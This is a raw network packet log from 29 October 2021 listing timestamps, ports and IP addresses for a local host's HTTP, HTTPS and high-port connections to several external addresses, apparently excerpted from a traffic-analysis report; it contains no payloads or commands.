Oct 29, 2021 15:31:15.915990114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916003942 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.916018009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916027069 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.916045904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916069031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916086912 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.916094065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916119099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916130066 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.916143894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916168928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916179895 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.916194916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916215897 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.916227102 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.916275024 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.937932014 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:16.788404942 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:16.815882921 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:16.815941095 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:16.815978050 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:16.816101074 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:18.024437904 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.024523020 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.024627924 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.027910948 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.027949095 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.068974972 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.069093943 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.070940971 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.070982933 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.071736097 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.093132973 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.136868954 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137326002 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137475014 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137562037 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.137588978 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137701988 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137737036 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137758017 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.137774944 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137809038 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137825012 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.137837887 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137893915 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.137922049 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.137984037 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138025999 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.138036966 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138384104 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138430119 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138437986 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.138452053 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138516903 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.138525963 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138912916 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138956070 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.138976097 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.138988972 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.139072895 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.139666080 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.139718056 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.139740944 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.139767885 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.139794111 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.139849901 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.140520096 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.140561104 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.140589952 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.140621901 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.140659094 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.140712976 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.155179024 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155241013 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155273914 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155307055 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.155317068 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155354977 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155376911 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.155409098 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155436993 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155447006 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.155462980 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.155513048 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.156167030 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.156227112 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.156260014 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.156280041 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.156300068 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.156343937 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.156976938 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.157062054 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.157118082 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.157136917 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.157855034 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.157927036 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.157953024 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.158571959 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.158607006 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.158637047 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.158653021 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.158668041 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.159383059 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.159452915 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.159471035 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.159514904 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.160187960 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.160263062 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.160917044 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.160998106 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.161003113 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.161014080 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.161068916 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.161802053 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.161887884 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.161911011 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.161963940 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.162548065 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.162619114 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.163435936 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.163533926 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.163606882 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.163620949 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.163634062 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.172465086 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.172552109 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.172590971 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.172629118 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.172648907 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.173358917 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.173425913 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.173439980 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.173491955 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.175009012 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.175065994 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.175092936 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.175118923 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.175137997 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.175174952 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.175724030 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.175786972 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.176166058 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.176220894 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.176249981 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.176266909 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.176282883 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.177012920 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.177087069 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.177103043 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.177119970 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.177150011 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.178009987 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.178095102 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.178112030 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.178225040 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.178771973 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.178858995 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.179527044 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.179600000 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.179619074 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.179635048 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.179653883 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.180479050 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.180550098 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.180555105 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.180572033 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.180608988 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.181313038 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.181384087 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.181400061 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.181449890 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.182154894 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.182229996 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.182296991 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.182315111 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.182351112 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.182364941 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.183104038 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.183219910 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.183743000 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.183819056 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.183873892 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.183906078 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.183957100 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.184570074 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.184706926 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.184787989 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.184876919 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.184995890 CEST	49851	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:18.185355902 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.185439110 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.185460091 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.185487032 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.185502052 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.185554981 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.186197042 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.186266899 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.186322927 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.186343908 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.186356068 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.186402082 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.187108994 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.187201023 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.187746048 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.187846899 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.189457893 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.189500093 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.189600945 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.189624071 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.189652920 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.189698935 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.191217899 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.191292048 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.191327095 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.191348076 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.191387892 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.192466974 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.192504883 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.192574978 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.192600965 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.192615986 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.194097042 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.194135904 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.194206953 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.194236040 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.194248915 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.195748091 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.195789099 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.195868015 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.195897102 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.195914030 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.196779013 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.196815968 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.196887016 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.196917057 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.196930885 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.198334932 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.198374033 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.198431969 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.198446989 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.198462963 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.200005054 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.200043917 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.200172901 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.200191975 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.200205088 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.201039076 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.201081038 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.201160908 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.201178074 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.201195955 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.202439070 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.202482939 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.202562094 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.202581882 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.202620983 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.203771114 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.203808069 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.203905106 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.203939915 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.203963041 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.204427958 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.204468012 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.204547882 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.204579115 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.204598904 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.206124067 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.206163883 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.206242085 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.206268072 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.206286907 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.207114935 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.207170010 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.207257032 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.207292080 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.207308054 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.208168983 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.208220005 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.208266020 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.208287954 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.208306074 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.209070921 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.209122896 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.209180117 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.209208012 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.209223032 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.210305929 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.210355997 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.210431099 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.210453033 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.210469007 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.210475922 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.210582972 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.210638046 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.210668087 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.210685015 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.210721016 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.211463928 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.211514950 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.211549997 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.211570978 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.211587906 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.212260008 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.212296963 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.212361097 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.212389946 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.212407112 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.213079929 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.213129997 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.213184118 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.213206053 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.213222980 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.213231087 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.213335037 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.213387012 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.213418961 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.213440895 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.213457108 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.213464975 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.214102983 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.214152098 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.214188099 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.214215994 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.214230061 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.214870930 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.214920998 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.214970112 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.214992046 CEST	443	49850	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:18.215006113 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.215015888 CEST	49850	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:18.215723991 CEST	443	49850	162.159.135.233	192.168.2.7
